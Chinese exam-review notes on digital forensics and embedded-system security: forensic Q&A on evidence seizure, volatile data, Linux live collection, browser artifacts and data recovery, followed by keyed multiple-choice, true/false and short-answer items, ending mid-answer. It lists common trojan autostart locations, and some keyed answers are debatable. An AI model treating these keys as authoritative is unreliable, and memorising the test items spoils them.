   1. 数字取证基础知识： 学习如何获取、分析和保护数字证据，包括数据恢复、数据提取和数据分析等技术。

   2. 取证工具和技术： 掌握各种数字取证工具的使用方法，了解取证过程中的常见技术和方法。

   3. 网络取证： 学习如何在网络环境中进行取证工作，包括追踪网络攻击者、检测网络犯罪等内容。

   4. 数据隐私保护： 了解个人信息保护的重要性，学习如何保护个人隐私数据免受侵犯。

   5. 法律法规： 熟悉相关的法律法规，包括网络安全法、个人信息保护法等，了解在数字取证过程中的法律责任和规定。

   6. 取证报告撰写： 学习如何撰写清晰、准确的取证报告，包括证据收集、分析和结论等内容。

   7. 取证伦理： 强调在进行数字取证工作时需要遵守的伦理准则和行为规范，保证取证过程的合法性和公正性。

在现场有⼀块 500GB SATA 硬盘、 ⼀款智能⼿机(开机状态)， 请简要描述从其获取到取证分析之间所注意的事项。

答：1) 获取时记录其具体位置

2） 必要时现场记算硬盘哈希值，硬盘放⼊证物袋， 注意防磁等环境；⼿机注意开关机状态， 放⼊屏蔽袋；

3） 准备⼀块不⼩于 500GB 的磁盘做⽬ 标盘

4） 注意⼿机品牌， 操作系统、密码、配件

在现场勘查时， 发现有处于开机状态台式机， 操作系统 winXP， 阐述获取此证物从拍照到封存的整个操作过程， 并举例列出在固定易丢失数据时应注意的数据形式。

答：

1） 拍照记录电脑整体状态， 屏幕显示内容， 主机接⼝ 连接

2） 周边相关配件

3） 注意易丢失数据， 注意加密容器、 加密⽂件、 QQ 等即时通讯数据的固定对⼀些关键数据、 关键步骤应使⽤录像等⽅式记录，重要的⽂件计算 MD5 值

4） 固定易丢失数据后， 直接拔电源断电关机

5） 封条注意电源及输出接⼝

在现场勘查时， 主要考虑到电⼦数据获取的完整性和有效性， 试从完整性⻆度描述对正在运⾏的打印机、复印机的处理⽅式。

答：

1.现场录像、照相，记录现场原始状态，记录各设备之间的连线状态以及显示屏上正在提示的信息，如何在运⾏的程序是在格式化硬盘或者删除数据，应⽴即切断电源。

2.对于正在编辑成显示状态的⽂本、图像证据，尽可能⽴即打印输出，并注明打印时间和打印机的型号等。

**3.制作现场笔录，绘制现场图 **

4.收集证据，提取证据，固定证据若相关信息被加密、删改、破坏、计算机病毒、⿊客的袭扰等情况，该如何取证？解密、恢复等⽅法

答：

1）解密：备份被解密⽂件

对密码进⾏解译。

找到相应的密码⽂件后，请专业⼈员选⽤相应的解除密码⼝令软件。

解密后，将对案件有价值的⽂件，即可进⾏⼀般取证

在解密的过程中，必要的话，可以采取录象的⽅式

第31/35⻚

2）恢复：⼤多数计算机系统都有⾃动⽣成备份数据和恢复数据、剩余数

据的功能，有些重要的数据库安全系统还会为数据库准备专⻔的备份。

因此，可以通过对⾃动备份数据和已经被处理过的数据证据进⾏⽐较、恢

复，获取定案所需证据。

3）测试：电⼦证据内容涉及电算化资料的，应当由司法会计专家对提取的资料进⾏现场验证，验证中如发现可能与软件设计或软件使⽤有关的问题时，应当由司法会计专家现场对电算化软件进⾏数据测试（侦查实验）主要是使⽤事先制作的测试⽂件，经测试确认软件有问题时，则由计算机专家对软件进⾏检查或提取固定。

常⻅的易失性数据有哪些？什么情况下需要获取易失性数据？

答：

常⻅的易失性数据：系统⽇期和时间、当前运⾏的活动进程、当前的⽹络连接、当前打开的端⼝、在打开的套接字上监听的应⽤程序、当前登录的⽤户列表、剪贴板数据。获取易失性数据情况：判断易失性数据的价值、联机对易失性数据的破坏程度、确定练级调查的具体⽅法和必要的调查范围

简述计算机取证与司法鉴定的三⼤技术，它们保证了计算机取证与司法鉴定既能定性⼜能定量且可以随时精确重现。

答：只读、克隆和校验技术只读技术保护电⼦数据不被更改，从⽽保证检材数据的原始性位对位的克隆技术保证检材数据的完整复制及鉴定过程的精确重复；校验技术既能辅助克隆技术精确重复鉴定过程，⼜能够⽤于电⼦证据的保全，知识产权鉴定等

在现场勘查时， 发现有处于开机状态台式机， 操作系统为 Linux。为了保护现场，第⼀要务为获取现场证据，保存数据，尤其是那些容易被改变的数据。试分析如何收集获取屏幕信息，内存信息、硬盘信息、进程信息和⽹络连接信息。

答：

1）屏幕信息：最优先的步骤是利⽤照相设备或录像设备记录屏幕信息，如果没有准备好图像记录设备当系统处于控制台模式时，可以直接利⽤管道命令将输出的内容保存到⽂件中。可以⽤setterm进⾏截图。若系统属于X-Windows环境下，可使⽤X-Windows下的截图⼯具、GNOME软件截图、KDE软件截图

2）内存与硬盘信息：通过移动存储设备或者⽹络将系统存储器的内容记录下来。⾸先使⽤fdisk可以查看硬盘情况。然后使⽤mount将⾃⼰的硬盘挂载上去，最后使⽤dd命令将该信息存储到⾃⼰的移动硬盘中。

3）进程信息：Linux系统提供了who、w、ps和top等查看进程信息的系统调⽤，⽤户可以结合使⽤这些命令了解进程的运⾏状态以及存活情况。使⽤who查看当前登录的⽤户、w与who相似是who的增强版、ps查看进程，top与ps相似但⼀个动态显示过程。

4）⽹络连接信息：可以使⽤netstat查看⽹络连接情况、路由表和⽹络接⼝信息。如果数字取证中嫌疑⼈经常使⽤浏览器访问互联⽹，那么以互联⽹⾏为为主线，可以从哪些⽅⾯获取相关证据信息，这些信息能证明什么？写出⽹络轨迹都有哪些？

答：⽹站访问下拉列表、⽹站访问的历史记录、⽹站收藏夹此外，还可以从以下⼏个地⽅获取信息：

（1）cookies，cookies ⼀般保存在 index。Dat ⾥⾯，包括 URL 信息访问

⽇期时间，⽤户名等信息

（2）临时⽂件（⽹⻚缓存），会显示如“最近⼀次访问的时间”在 TIF 中

（3）历史记录，分成按⽇期、星期、⽉份，在 index.dat 显示访问的 URL和时间

（4）注册表，ntuser.dat ⽂件中，有近期访问的 URL，键的名称按时间顺序排列。以原则规范计算机取证是保证电⼦证据可采性的关键，试简述由加拿⼤、法国等⼋国计算机取证⼈员组成的 G8 ⼩组提出的计算机取证原则。

答：

(1)必须应⽤标准的取证与司法鉴定过程。

(2)获取证据时所采⽤的任何⽅法都不能改变原始证据。

(3)取证与司法鉴定⼈员必须经过专⻔培训。

(4)完整地记录证据的获取、访向、存储或传输的过程,并妥善保存这些记录以备随时查阅。

(5)每位保管电⼦证据的⼈员必须对其在该证据上的任何⾏为负责。

(6)任何负责获取、访问、存储或传输电⼦证据的机构有责任遵循以上原则。和系统取证不同，⽹络取证通过对⽹络数据流的分析获取⾮法利⽤、⼊侵⾏为。试从多⻆度分析⽹络取证的特点。

答：

1）主要研究对象与数据报(packets)或⽹络数据流(Network Traffic)有关，⽽不仅仅局限于计算机；

2）为满⾜证据的实时性和连续性，⽹络取证是动态的，并且结合⼊侵前后的⽹络环境变量，可以重建⼊侵过程；

3）为保证证据的完整性，⽹络取证有时是分布式的，需要部署多个取证点或取证代理(Agent)，⽽且这些取证点是相关和联动的；

3）为实现⽹络取证，通常需要与⽹络监控(Network Monitoring)相结合。简述时间戳的作⽤及⽣成⽅法

答：

时间戳时取证⼯作中⾮常有⽤的技术，他是对数字对象进⾏登记来提供注册后特定事物存在与特定⽇期的时间和证据，它证明了数字证据在特定的事件和⽇期时存在的，并且从该是看到出庭这⼀段时间⾥不曾被修改过。时间戳产⽣的过程：

⽤户⾸先将需要加时间戳的⽂件⽤Hash编码加密形成摘要；

将该摘要发送到DTS；

DTS 在加⼊了收到⽂件摘要的⽇期和时间信息后再对该⽂件加密(数字签名)然后送回⽤户。⽹络取证通过对⽹络数据流的分析重建⼊侵过程，简述⽹络取证的要点。

答：

1）周界⽹络(Perimeter Network)：指在本地⽹的防⽕墙以外，与外部公⽹连接的所有设备及其连接；

2）端到端(End-to-End)：指攻击者的计算机到受害者的计算机的连接；⽇志相关(Log Correlation)：指各种⽇志记录在时间、⽇期、来源、⽬的甚⾄协议上满⾜⼀致性的匹配元素；

3）环境数据(Ambient Data)：指删除后仍然存在，以及存在于交换⽂件和slack空间的数据；

4）攻击现场(Attack Scenario)：将攻击再现、重建并按照逻辑顺序组织起来的事件。

1）发现攻击

2）初步分析

3）现场重建

4）取证分析

简述 5 种常⻅的⽊⻢⾃启动⽅式

答：

1）添加在Win.ini的[windows]字段中有启动命令[load]和[run]中，⼀般情况下“=”后⾯是空⽩的

2）添加在System.ini的[boot]中，其[boot]字段的shell=Explorer.exe是易植⼊⽊⻢的地⽅

3）添加在注册表的RUN项中

4）添加在启动⽬录中

5）添加在⽂件关联中

6）添加在其他应⽤程序中

7）欺骗⾃启动

8）添加在系统服务中

在取证过程，常⽤的数据恢复⽅法有哪些。

答：数据恢复可分为⼿⼯恢复和使⽤⼯具恢复两种

引导扇区恢复：使⽤dd命令备份和恢复主引导⽬录

分区表恢复：使⽤⼯具⾃动重建分区表

DBR恢复：直接Format恢复DBR、DiskEdit备份正确的DBR，然后⽤该备份做恢复、WinHex、Ntfs通过复制正常NTFS分区的DBR并更正参数恢复

零磁道损坏的恢复：使⽤⼯具使0磁道往后稍移⼀点，让1磁道替代0磁道；DiskEdit、DiskGenius改后存盘退出，重启系统，⽤Format格式化硬盘，完成即可⼯作

磁盘坏道的处理：修复逻辑坏道：使⽤Windows下的磁盘扫描⼯具，修复

物理坏道：⽤软件隐藏物理坏道；低级格式化修复坏道；使⽤Wipe Info修复坏道

1. 哪个不是嵌入式系统设计的主要目标？（ D ）

A. 低成本 B. 低功耗 C. 实时要求高 D. 超高性能

2. 下面哪个系统不属于嵌入式系统？（ C ）

A. 医用血氧仪 B . 汽车主动刹车系统

C. 浪潮服务器 D. 生命探测仪

3. 以下不属于嵌入式系统的是（ A ）

A.价值3万的Mini电动车 B. 车载娱乐系统

C.自动泊车系统 D.空中交通防撞系统(TCAS)

4. 嵌入式系统有别于其他系统的最大特点是（ C ）

A. 低功耗 B. 高可靠 C. 嵌入专用 D. 低成本

5. Linux系统不安全的原因，错误的是（ D ）

A. Linux开发遵循一般的商业惯例，而不是严格的安全标准。

B. Linux的更新频率过快，每次更新都会添加上万甚至几十万行代码。

C. 设计初衷是一个高性能并且通用的操作系统，而不是高鲁棒性的关键系统。

D. 应用面太广泛，被研究的相对透彻。

6. 看门狗(Watch Dog)是嵌入式 系统中一种常用的保证系统可靠性的技术，会产生看门狗中断的是（ D ）。
   A. 软件喂狗 B. 处理器温度过高
   C. 外部中断 D. 看门狗定时器超时

7. 关于虚拟内存的作用，说法错误的是（ C ）

A. 隐藏了代码和数据的物理地址，使得攻击者很难发觉内在的操作和状态。

B. 是作为内存使用的一部分硬盘空间。

C. 是数据交换的缓冲区，帮助硬盘更快地工作。

D. 可以选择性将内存页映射和去映射到一个虚拟的地址空间

8. 2型虚拟机管理程序相比1型虚拟机管理程序最本质的区别是（ D ）

A. 前者速度慢于后者 B. 前者支持的应用多于后者

C. 前者的可移植性好 D. 前者的安全性取决于宿主机操作系统的安全性。

9. 设计实时操作系统时，首先应该考虑系统的（ B ）

A．可靠性和灵活性 B．实时性和可靠性

C．分配性和可靠性 D．灵活性和实时性

10. 在常用的身份认证方式中，（ B ）是采用软硬件相结合、一次一密的强双因子认证模式，具有安全性、移动性和使用的方便性。

A. 智能卡认证 B. 动态令牌认证

C. USB Key D. 用户名及密码方式认证

11. 关于访问控制的说法错误的是（ D ）

A. 自主访问控制指用户有权对自身所创建的访问对象进行各类权限的更改。

B. 强制访问控制，是指由系统（通过专门设置的系统安全员）对用户所创建的对象进行统一的强制性控制，按照规定的规则决定哪些用户可以对哪些对象进行什么类型的访问。

C. 基于角色的访问控制不必在每次创建用户时都进行分配权限的操作，只要分配用户相应的角色即可。

D.在复杂的嵌入式系统中必须要求使用强制访问控制。

12. 以下关于可信计算说法错误的是（ D ）

A. 可信的主要目的是要建立起主动防御的信息安全保障体系。

B. 可信计算机安全评价标准（TCSEC）中第一次提出了可信计算机和可信计算基的概念。

C. 可信的整体框架包含终端可信、终端应用可信、操作系统可信、网络互联可信、互联网交易等应用系统可信。

D. 可信计算平台出现后会取代传统的安全防护体系和方法。

13. 下列几种逻辑覆盖标准中，查错能力最强的是（ D ）

A. 语句覆盖 B. 判定覆盖

C. 条件覆盖 D. 条件组合覆盖

14. 在一个“订单输入子系统”中，创建新订单和更新订单都要核查用户账号是否正确，则用例“创建新订单”、“更新订单”与用例“核查用户账号”之间的关系是( A )

A. 包含 B. 实现 C. 扩展D. 泛化

15. 隐蔽信道是指允许进程以（ D ）系统安全策略的方式传输信息的通信信道。

A. 补强 B. 有益 C. 保护 D. 危害

16. 下列对于栈溢出漏洞原理的描述错误的是哪条?（ D ）

A、 可以造成命令执行漏洞

B、 栈溢出漏洞是缓冲区溢出漏洞的一种

C、 由于软件开发人员没有考虑周全造成的漏洞

D、 操作系统的内存管理机制的漏洞

17. 关于缓冲区溢出描述错误的是（ B ）

A缓冲区是用来暂时存放输入输出数据的内存

B只要把内存加大，就可以避免缓冲区溢出

C指输入输出数据超出了缓冲区的大小，占用缓冲区之外的内存空间

D利用缓冲区溢出攻击，可以破坏程序运行，系统重新启动

18. 下面说法正确的是（ C ）

A. 经过测试没有发现错误说明程序正确。

B. 测试的目标是为了证明程序没有错误。

C. 成功的测试是发现了迄今尚未发现的错误的测试 。

D. 成功的测试是没有发现错误的测试。

19. 软件生存周期过程中，修改错误代价最小的阶段是（ A ）

A. 需求阶段 B. 设计阶段

C. 编程阶段 D. 发布运行阶段

20. 虚拟化技术的主要目的是什么？（ A ）

A. 提高硬件利用率

B. 降低能耗

C. 增强系统安全性

D. 简化系统维护

21. 常见的安全编码问题不包括（ A ）

A. 认证绕过 B. 缓冲区溢出 C. 命令注入 D. 整数溢出

22. 防止重放攻击最有效地方法是（ B ）

A. 对用户账户和密码进行加密。

B. 使用“一次一密”加密方式。

C. 经常修改用户账户名称和密码。

D. 使用初始化向量IV。

23. 许多黑客攻击都是利用软件实现中的缓冲区溢出的漏洞，对此最可靠的解决方案是（ C ）

A. 安装防火墙 B. 安装入侵检测系统

C. 给系统安装最新的补丁 D. 安装防病毒软件

24. 同一台物理主机上一个虚拟机的崩溃或故障不会影响其他虚拟机，这主要得益于虚拟化技术的（ A ）特征。

A．隔离 B．封装 C．硬件独立 D．分区

25. 与虚拟机相比，以下关于目前容器的叙述错误的是（ B ）。

A．容器一般是在操作系统级别进行的虚拟

B．容器的安全性比虚拟机强

C．容器的启动时间比较快

D．容器弹性分配分配，可以在没有关闭容器的情况下添加资源

26. 下列攻击方式中，（ C ）是利用TCP/IP漏洞发起的攻击。

A．SQL注入攻击 B．XSS攻击 C．Ping of Death D．CSRF攻击

27. 下列哪一项不是SSL所提供的服务（ D ）

A. 用户和服务器的合法认证

B. 加密数据以隐藏被传送的数据

C. 维护数据完整性

D. 保留通信双方的通信时的基本信息

28. 在IPSEC VPN中，隧道模式主要应用在以下哪个场景中（ C ）

A. 主机与主机之间 B. 主机与安全网关之间

C. 安全网关之间 D. 隧道模式与传输模式之间

29. 攻击组通过收集数据包，分析得到共享密钥，然后将一个虚假AP放置到无线网络中，截获用户和AP传输的所有数据，还可以对双方的传输数据任意进行修改，这种攻击方式称为（ D ）

A. 会话劫持攻击

B. 拒绝服务攻击

C. 漏洞扫描攻击

D. 中间人攻击

30. 以下哪一项不属于XSS跨站脚本漏洞危害？（ C ）

A. 钓鱼欺骗 B. 身份盗用 C. SQL数据泄露 D. 网站挂马

31. 手机“越狱”是指（ B ）

A．手机受到攻击，不受控制。

B．通过不正常手段获得手机操作系统的最高权限。

C．重新安装手机操作系统。

D．修补手机漏洞或对操作系统升级

32. 以下关于物联网信息安全特点的描述中,错误的是 ( D )

A. 物联网会遇到比互联网更加严峻的信息安全的威胁、考验与挑战。

B. 近年来网络安全威胁总体趋势是趋利性。

C. 网络犯罪正逐步形成黑色产业链，网络攻击日趋专业化和商业化。

D. 互联网信息安全技术可以保证物联网的安全。

33. 以下哪一项不是黑客在入侵踩点（信息搜集）阶段采取的技术？（ D ）

A. 公开信息的合理利用及分析

B. IP及域名信息收集

C. 主机及系统信息收集

D. 使用sqlmap验证SQL注入漏洞是否存在

34. 以下哪个选项不是内存泄漏的原因？（ C ）
    A. 指针重新赋值
    B. 错误的内存释放
    C. 正确的内存分配
    D. 返回值的不正确处理

35. 关于内存泄漏，以下说法错误的是？（ A ）
    A. 内存泄漏是操作系统内存管理出错导致的问题
    B. 内存泄漏通常由于程序设计的错误导致
    C. 内存泄漏会导致系统内存逐渐被耗尽
    D. 内存泄漏可以通过适当的代码审查和测试来预防和发现

36. 中间人攻击的这种攻击形式破坏了下列哪一项内容（ D ）

A. 网络信息的抗抵赖性 B. 网络信息的保密性

C. 网络服务的可用性 D. 网络信息的完整性

多选

1. 关于黑白名单的说法，正确的是（ CD ）

A. 由于嵌入式系统的专用性，为方便管理，远程连接的ip地址经常限定为特定的一个或地址段，此时适合用黑名单方式。

B. 黑名单和白名单应用场合不同，无法比较两者的限制级别。

C. 正常情况下，往往采用黑白名单结合的形式进行访问控制。

D. 杀毒软件一般采用黑名单的方式进行病毒查杀。

2. 属于组件隔离思想的例子是（ ABCD ）

A. 操作系统内核与驻留的应用程序隔离，方便操作系统实施I/0资源访问控制。

B. 对重要数据部署加密服务，并且加密子系统与其他应用分开部署。

C. 文件系统与网络堆栈分别独立挂载到内核，降低安全失败带来的损失。

D. 在嵌入式系统上实施虚拟化技术提高安全性。

3. 密钥生命周期包含的阶段有（ ABCD ）

A．生成，存储 B．分配，启用与停用 C．控制与更新 D．撤销与销毁

4. 提高程序执行效率的原则包括（ ABCDE ）

A. 不要一味地追求程序的效率，应当在满足正确性、可靠性、健壮性、可读性等质量因素的前提下，设法提高程序的效率。

B. 以提高程序的全局效率为主，提高局部效率为辅。

C. 在优化程序的效率时，应当先找出限制效率的“瓶颈”，不要在无关紧要之处优化。

D. 先优化数据结构和算法，再优化执行代码。

E. 有时候时间效率和空间效率可能对立，此时应当分析那个更重要，作出适当的折衷。例如多花费一些内存来提高性能。

5. Android开发过程中，下面哪些开发习惯可能导致安全漏洞（ ABD ）

A. 在程序代码中插入Log()方法输出敏感信息方便调试。

B. 在应用正式版Andoridmanifest.xml中设置android:debuggable=”true”。

C. 使用SecureRandom时使用安全的方法设置seed。

D. 设置应用配置文件为任意用户可读写。

6. 关于“嵌入式系统安全”的说法正确的是（ ABCD ）

A. “没有所谓的绝对安全”的说法是有害的，如果一开始就有这种广泛而负面的主张，开发人员就没有充分的理由去实现最好的安全产品。

B. 有可能实现绝对的安全，绝对安全只适用于具体的安全策略。

C. 组件隔离是嵌入式系统一项基本的安全策略，也是实现更高级别的系统安全策略的基础。

D. 大多数安全策略都可以映射到一个或多个保密性、完整性和实用性（CIA）的保障因素。

7. 传统 IT 系统基础架构经过多年的发展，普遍面临以下哪些突出问题（ ABC ）

A. IT 资源部署周期长，难以快速满足业务需求

B. 机房空间、电力供应紧张

C. 硬件资源利用率低和资源紧张并存

D. 资源全局共享，系统整体可用性高

8. 对数组下标校验，要考虑以下情况（ ABCD ）

9. 僵尸程序可以破坏系统的完整性和可用性，典型应用有（ ABCDE ）

A. 分布式拒绝服务攻击

B. 发送垃圾邮件

C. 网络嗅探

D. Keylogging

E. 传播其他恶意软件

10. Android 应用中导致HTTPS中间人攻击的原因有（ ABC ）

A. 没有对SSL证书校验 B. 没有对主机名进行校验

C. SSL证书被泄露 D. 使用WIFI连接网络

判断

1. 组件隔离是嵌入式系统一项基本的安全策略，也是实现更高级别的系统安全策略的基础。（ T ）

2. 相对于微内核操作系统，单内核操作系统为安全提供了更好的架构（ F ）

3. 模型驱动设计（MDD）可提升程序稳定性，减少传统代码库中的安全缺陷。（ T ）

4. 对程序的测试最好交由公司的技术高手进行全面深度测试。（ F ）

5. CFB模式在加密时有一个初始向量，必须用密文传给接收方。（ F ）

6. 用malloc 或new 申请内存之后，可立即使用分配的内存。（ F ）

7. 编码规范使代码看起来整齐，提高编译速度。（ F ）

8. 在白盒测试中，对于测试人员来说，关于被测试的系统的信息都是已知的。（ T ）

9. 项目质量管理的最终责任由质量经理来承担。（ F ）

10. 黑客一般会绕过服务器安全控制部分，侵入一个相对较弱的客户端，然后从该客户端进入服务器中心。（ T ）

11. 飞机内部包含的飞行控制系统，空中交通防撞系统(TCAS)，通信导航监视系统，电子飞行包系统，机载娱乐系统等都属于嵌入式系统，因此飞机本身也算嵌入式系统。（ F ）

12. 嵌入式Linux内核是非常安全的，因为其采用了一套严格控制变更管理的流程。（ F ）

13. 微内核的安全性、稳定性高于单内核，但效率低于单内核。（ T ）

14. 攻击者结合空指针和内核代码注入漏洞，可强制内核执行攻击者代码，轻易获得整个系统的全部控制器。（ T ）

15. 带SSL保护的HTTP链接可以抵御中间人攻击。（ F ）

16. DNS缓存污染也被称为DNS缓存中毒，是一种传播在DNS服务器之间的病毒。（ F ）

17. 为了提高安全性，可以设置让编译器把所有的警告都当作错误看待。（ T ）

18. 编写越紧凑的代码越能产生高效的机器码。（ F ）

19. 黑盒测试又叫功能测试，它主要关注的是被测试软件功能的实现，而不是内部逻辑。（ T ）

20. 中间人攻击不需要成功入侵客户端，一般通过拦截客户端，服务端信息，经修改后再返回对方，引导客户端进入错误的目标服务器，或模仿有效链接达到欺骗用户的目的。（ T ）

21. 通过检测服务调用时间可以作为一种隐信道攻击。（ T ）

22. 虚拟化技术的主要目的是对IT基础设施进行简化。（ T ）

23. 系统设计者只需做好系统的设计工作，无须处理故障恢复问题。（ F ）

24. 尽管有内存保护和虚拟内存，通过占尽资源的方式，不良代码也可让关键应用程序停止运行。（ T ）

25. 访问控制针对嵌入式系统中的进程和资源采用最小权限原则。（ T ）

26. 访问控制的粒度越小越好，可制定完善细致的安全策略。（ F ）

27. 黑名单和白名单只是应用的场景不同，严格程度没有高低之分。（ F ）

简答

1. 简述嵌入式系统的定义。

   以应用为中心，以计算机技术为基础，软硬件可裁剪，适应应用系统对功能可靠性，成本体积，功耗严格的专用计算机系统

   嵌入式系统是一种包含了一个或多个的微处理器以及软件的电子产品，在一个大型实体中实现某些基础功能

   嵌入式系统是一种专门设计用于执行特定功能或任务的计算机系统，通常嵌入在更大的系统中。这些系统通常被设计成在特定的硬件平台上运行，具有严格的实时性、稳定性和可靠性要求。嵌入式系统通常被用于控制、监控或执行特定任务，如家用电器、汽车、医疗设备、工业控制系统等。这些系统通常具有固定的功能和任务，与通用计算机系统不同，其软件和硬件通常是为特定应用程序定制的。

2. 嵌入式系统使用微内核的优势有哪些？

   在嵌入式系统中，使用微内核作为操作系统内核具有一些优势，包括：

   1. 模块化设计：微内核采用模块化设计，将操作系统的核心功能模块化实现，如调度、内存管理、进程管理等，而其他功能如文件系统、网络协议栈等则作为独立的用户空间进程运行。这种设计使得系统更容易维护和扩展，可以根据需要添加或删除特定的功能模块。
   2. 可靠性和稳定性：由于微内核的设计更为简单，内核本身的功能较少，因此减少了内核出错的可能性，提高了系统的可靠性和稳定性。此外，故障发生在用户空间的模块时，不会影响整个系统的稳定性。
   3. 安全性：微内核的模块化设计也有利于系统安全性。不同功能模块运行在独立的用户空间进程中，彼此之间相互隔离，降低了模块之间互相影响的可能性，从而提高了系统的安全性。
   4. 灵活性：微内核架构使得系统更加灵活，可以根据具体的应用需求进行定制和优化。开发人员可以根据系统要求选择合适的功能模块，避免了不必要的功能开销。
   5. 性能优化：微内核设计通常具有较小的内核空间，减少了内核的复杂性，有利于提高系统的性能。此外，模块化设计也有助于优化系统的性能，可以更好地利用硬件资源。

3. 高性价比的安全策略：

   1. 风险评估和管理：首先需要对组织面临的风险进行评估，并制定相应的风险管理计划。这有助于确定哪些安全措施是最重要的，以及如何分配有限的资源。

   2. 安全意识培训：定期为员工提供安全意识培训，教育他们如何识别和应对安全威胁。通过投资于员工培训，可以降低由于人为失误而导致的安全事件发生的可能性。

   3. 强化身份和访问管理：实施多因素身份验证、权限管理和访问控制，确保只有授权人员能够访问敏感信息和系统资源。

   4. 定期漏洞扫描和安全补丁管理：定期对系统进行漏洞扫描，并及时安装安全补丁以修复已知漏洞，以防止黑客利用这些漏洞进行攻击。

   5. 数据备份和恢复：建立有效的数据备份和灾难恢复计划，确保在发生数据丢失或系统故障时能够快速恢复业务运行。

   6. 网络安全监控：部署网络安全监控工具，实时监视网络流量和系统活动，及时发现异常行为并采取措施应对潜在的安全威胁。

   7. 加密：对敏感数据进行加密，无论是数据在传输过程中还是存储在系统中，加密都可以有效保护数据的机密性。

   8. 安全合规：遵守相关的法规和标准，确保组织的安全实践符合法律要求，并减少可能的罚款和法律风险。

4. 以下是一些常见的远程嵌入式系统安全解决方案：

   手段：1、确保远程管理计算机与因特网不相连。

   2、远程嵌入式系统必须认证管理计算机，IP地址采用白名单机制。

   3、在建立远程连接之前，管理计算机应对操作员进行强身份认证，

   4、使用TLS/SSL或IKE/IPSec的标准网络安全协议，保护远程管理命令和数据的完整性和保密性。

   1. 安全认证和访问控制：
      • 使用强大的身份验证机制，如双因素认证，确保只有经过授权的用户可以访问系统。
      • 实施访问控制策略，限制用户对系统的访问权限，确保最小权限原则。
   2. 数据加密：
      • 在数据传输和存储过程中使用加密技术，如TLS/SSL协议，保护数据的机密性和完整性。
      • 使用端到端加密，确保数据在传输过程中受到保护，即使在数据传输的各个环节中也能保持加密状态。
   3. 安全更新和漏洞修补：
      • 及时更新系统和应用程序，安装最新的安全补丁，以修复已知漏洞并提高系统的安全性。
      • 实施安全漏洞管理策略，定期进行漏洞扫描和评估，及时处理发现的安全漏洞。
   4. 安全通信协议：
      • 使用安全的通信协议，如MQTT over TLS或CoAP over DTLS等，确保远程通信的安全性。
      • 避免使用不安全的通信协议和默认配置，加强对通信的加密和认证。
   5. 物联网安全网关：
      • 部署物联网安全网关作为远程嵌入式系统的安全边界，监控和过滤流量，识别和阻止恶意攻击。
      • 物联网安全网关可以提供防火墙、入侵检测系统（IDS）、虚拟专用网络（VPN）等安全功能。
   6. 安全审计和监控：
      • 实施安全审计机制，记录和监控系统的操作和事件，及时发现异常行为和安全事件。
      • 部署安全监控系统，实时监控系统的安全状态，及时响应安全威胁和攻击。
   7. 安全培训和意识提升：
      • 对系统管理员和用户进行安全培训，提高其安全意识，教育他们如何识别和应对安全威胁。
      • 建立安全文化，使所有相关人员都意识到安全的重要性，并积极参与安全保护工作。

5. 多重独立安全等级架构包含哪些方面？

   包括信息流，数据隔离，损害控制，周期性处理，一直激活，防篡改，可评估

   多重独立安全等级架构（Multiple Independent Levels of Security, MILS）是一种安全架构设计范例，旨在提供高度安全性和可信任性。它包含以下几个方面：

   1. 多重安全域：系统被划分为多个独立的安全域，每个安全域具有不同的安全级别和访问控制策略。这些安全域之间是相互隔离的，确保一个安全域的受到攻击不会波及其他安全域。

   2. 安全通信：在不同安全域之间进行安全通信时，需要确保数据的保密性、完整性和可用性。安全通信的机制包括加密、认证、访问控制等，以防止信息泄露和篡改。

   3. 安全策略：每个安全域都有自己的安全策略，包括访问控制规则、权限管理、审计机制等。这些安全策略确保系统在运行时符合安全需求，并能够检测和应对安全事件。

   4. 安全监控：系统需要实时监控各个安全域的安全状态，及时发现和响应安全事件。安全监控系统可以检测异常行为、入侵尝试等安全威胁，并采取相应的措施进行应对。

   5. 安全审计：对系统的安全性进行定期审计，检查安全策略的有效性、系统配置的合规性以及安全事件的处理情况。安全审计有助于发现潜在的安全问题，并及时进行修复和改进。

   通过以上方面的设计和实施，多重独立安全等级架构能够提供高度安全性和可信任性，适用于对安全性要求极高的系统和应用场景。

6. 嵌入式系统设计师除了做好系统设计工作，还需要了解哪些嵌入式安全策略。

   （1）绝对安全

   （2）保密性、完整性和实用性

   （3）隔离策略

   （4）信息流控制

   （5）物理安全策略

   （6）特色应用软件的安全策略

   嵌入式系统设计师除了系统设计工作外，还需要了解以下嵌入式安全策略：

   1. 物理安全：确保设备的物理安全是至关重要的。设计师需要考虑如何防止设备被盗或被物理篡改，可以采用安全外壳、封闭式设计、防拆卸措施等方式来增强物理安全性。

   2. 认证和授权：设计师需要考虑如何实现用户身份认证和访问授权，确保只有经过授权的用户可以访问系统的敏感功能和数据。这可以通过密码、生物识别技术、访问控制列表等方式来实现。

   3. 加密和数据保护：在嵌入式系统中，数据的保护至关重要。设计师需要了解加密算法、安全通信协议等技术，确保数据在传输和存储过程中得到有效的保护，防止数据泄露和篡改。

   4. 安全更新和漏洞管理：设计师需要考虑如何及时更新系统以修复已知漏洞，并建立漏洞管理机制，及时响应新的安全威胁。安全更新可以通过固件更新、远程更新等方式进行。

   5. 安全审计和监控：设计师需要设计安全审计和监控机制，用于监视系统的安全状态、检测异常行为，并记录安全事件以便进行事后分析和调查。这有助于及时发现安全问题并采取相应措施。

   6. 抗攻击能力：设计师需要考虑系统的抗攻击能力，包括抵御恶意软件、拒绝服务攻击、侧信道攻击等。采取安全编程实践、内存保护机制、安全认证等措施可以提高系统的抗攻击能力。

   综合来看，嵌入式系统设计师需要了解并综合考虑物理安全、认证和授权、加密和数据保护、安全更新和漏洞管理、安全审计和监控、抗攻击能力等方面的安全策略，以确保系统在面临各种安全威胁时能够保持安全性和稳定性。

7. 简述访问控制的三种模式。

   （ 自主访问控制DAC）、（强制访问控制MAC ） 和 （基于角色的访问控制RBAC ） 。

   访问控制是信息安全领域中的一项重要技术，用于控制用户或实体对系统资源的访问权限。常见的访问控制模式包括以下三种：

   1. 强制访问控制（MAC）：

      • 在强制访问控制模式下，访问控制是由系统管理员设定的，用户无法自行控制访问权限。每个主体（如用户、进程）和客体（如文件、系统资源）都被赋予一个安全级别或标签，系统根据这些标签来强制控制访问。
      • MAC模式通常用于高度安全性要求的系统，如军事系统或政府机构系统，以确保严格的访问控制和信息保密性。

   2. 自主访问控制（DAC）：

      • 在自主访问控制模式下，资源的所有者有权决定其他用户对资源的访问权限。资源的所有者可以授予或撤销其他用户对资源的访问权限，从而实现对资源的控制。
      • DAC模式常用于一般的多用户系统中，例如企业内部网络或个人电脑系统，允许资源的所有者自主管理资源的访问权限。

   3. 基于角色的访问控制（RBAC）：

